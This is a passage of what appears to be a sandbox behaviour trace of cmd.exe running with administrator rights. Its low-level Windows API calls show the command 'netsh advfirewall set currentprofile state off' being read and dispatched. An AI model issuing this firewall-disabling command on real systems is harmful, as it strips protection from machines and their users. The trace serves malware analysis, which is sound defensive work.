dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.365] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.365] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c62, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0282.365] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.365] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.366] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.366] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c64, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.366] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.366] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.366] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.366] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c66, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0282.366] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.366] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.366] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.366] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c68, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0282.366] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.366] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.366] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.366] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c6a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0282.366] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.366] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.366] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c6c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0282.367] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.367] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.367] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c6e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0282.367] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.367] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.367] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c70, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0282.367] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.367] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.368] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c72, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0282.368] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.368] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.368] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.368] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c74, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0282.368] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.368] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.368] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c76, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.369] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.369] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.369] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c78, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0282.369] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.369] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.369] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c7a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0282.369] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.369] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.369] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c7c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0282.369] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.369] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.369] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c7e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0282.370] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.370] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.370] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c80, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0282.370] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.370] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.370] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c82, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0282.370] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.370] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.370] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.370] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c84, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0282.370] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.370] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.370] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0282.371] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.371] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.371] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c88, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0282.371] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.371] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.371] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c8a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0282.371] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.371] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.371] ReadFile (in: hFile=0x224, lpBuffer=0x7ff7c5599970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xacfcf5f938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesRead=0xacfcf5f938*=0x1, lpOverlapped=0x0) returned 1 [0282.371] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=1, lpWideCharStr=0x7ff7c55a3c8c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0282.373] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.373] GetFileType (hFile=0x224) returned 0x3 [0282.373] _get_osfhandle (_FileHandle=0) returned 0x224 [0282.373] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0282.373] _get_osfhandle (_FileHandle=1) returned 0x238 [0282.374] GetFileType (hFile=0x238) returned 0x3 [0282.374] _get_osfhandle (_FileHandle=1) returned 0x238 [0282.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c5599970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0282.375] WriteFile (in: hFile=0x238, lpBuffer=0x7ff7c5599970*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xacfcf5f8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c5599970*, lpNumberOfBytesWritten=0xacfcf5f8d8*=0x2f, lpOverlapped=0x0) returned 1 [0282.375] GetProcessHeap () returned 0x208c11e0000 [0282.375] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x4012) returned 0x208c11e8bb0 [0282.375] GetProcessHeap () returned 0x208c11e0000 [0282.375] RtlFreeHeap (HeapHandle=0x208c11e0000, Flags=0x0, BaseAddress=0x208c11e8bb0) returned 1 [0282.376] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0282.376] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0282.376] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0282.376] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0282.376] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0282.376] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0282.376] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0282.376] GetProcessHeap () returned 0x208c11e0000 [0282.376] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0xb0) returned 0x208c11e67a0 [0282.377] GetProcessHeap () returned 0x208c11e0000 [0282.377] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x1c) returned 0x208c11e6a40 [0282.378] GetProcessHeap () returned 0x208c11e0000 [0282.378] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x64) returned 0x208c11e6dc0 [0282.379] GetConsoleOutputCP () returned 0x1b5 [0282.965] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c559fbb0 | out: lpCPInfo=0x7ff7c559fbb0) returned 1 [0282.966] SetThreadUILanguage (LangId=0x0) returned 0x409 [0283.285] GetConsoleTitleW (in: lpConsoleTitle=0xacfcf5f720, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0283.526] malloc (_Size=0xffce) returned 0x208c13d0840 [0283.526] ??_V@YAXPEAX@Z () returned 0x208c13d0840 [0283.526] malloc (_Size=0xffce) returned 0x208c13e0820 [0283.527] ??_V@YAXPEAX@Z () returned 0x208c13e0820 [0283.528] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0283.528] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0283.528] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0283.528] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0283.528] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0283.528] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0283.528] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0283.528] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0283.528] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0283.528] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0283.528] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0283.528] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0283.528] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0283.528] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0283.528] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0283.528] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0283.528] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0283.528] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0283.528] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0283.528] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0283.528] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0283.528] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0283.529] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0283.529] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0283.529] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0283.529] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0283.529] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0283.529] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0283.529] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0283.529] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0283.529] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0283.529] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0283.529] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0283.529] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0283.529] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0283.529] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0283.529] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0283.529] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0283.529] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0283.529] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0283.529] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0283.529] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0283.530] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0283.530] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0283.530] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0283.530] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0283.530] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0283.530] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0283.530] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0283.530] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0283.530] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0283.530] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0283.530] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0283.530] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0283.530] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0283.530] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0283.530] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0283.530] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0283.530] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0283.530] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0283.530] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0283.530] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0283.530] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0283.530] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0283.530] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0283.530] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0283.530] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0283.531] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0283.531] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0283.531] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0283.531] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0283.531] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0283.531] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0283.531] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0283.531] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0283.531] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0283.531] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0283.531] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0283.531] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0283.531] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0283.531] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0283.531] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0283.531] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0283.531] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0283.531] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0283.531] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0283.532] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0283.532] ??_V@YAXPEAX@Z () returned 0x1 [0283.532] GetProcessHeap () returned 0x208c11e0000 [0283.532] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0xffde) returned 0x208c11e8bb0 [0283.533] GetProcessHeap () returned 0x208c11e0000 [0283.533] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x70) returned 0x208c11e6e30 [0283.533] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0283.533] malloc (_Size=0xffce) returned 0x208c13e0820 [0283.533] ??_V@YAXPEAX@Z () returned 0x208c13e0820 [0283.533] GetProcessHeap () returned 0x208c11e0000 [0283.533] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x1ffac) returned 0x208c11f8ba0 [0283.535] SetErrorMode (uMode=0x0) returned 0x0 [0283.535] SetErrorMode (uMode=0x1) returned 0x0 [0283.535] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x208c11f8bb0, lpFilePart=0xacfcf5efa0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xacfcf5efa0*="system32") returned 0x13 [0283.536] SetErrorMode (uMode=0x0) returned 0x1 [0283.536] GetProcessHeap () returned 0x208c11e0000 [0283.536] RtlReAllocateHeap (Heap=0x208c11e0000, Flags=0x0, Ptr=0x208c11f8ba0, Size=0x44) returned 0x208c11f8ba0 [0283.536] GetProcessHeap () returned 0x208c11e0000 [0283.536] RtlSizeHeap (HeapHandle=0x208c11e0000, Flags=0x0, MemoryPointer=0x208c11f8ba0) returned 0x44 [0283.536] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0283.536] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0283.536] GetProcessHeap () returned 0x208c11e0000 [0283.536] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x1b4) returned 0x208c11f8c00 [0283.536] GetProcessHeap () returned 0x208c11e0000 [0283.536] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x358) returned 0x208c11f8dc0 [0283.555] GetProcessHeap () returned 0x208c11e0000 [0283.555] RtlReAllocateHeap (Heap=0x208c11e0000, Flags=0x0, Ptr=0x208c11f8dc0, Size=0x1b6) returned 0x208c11f8dc0 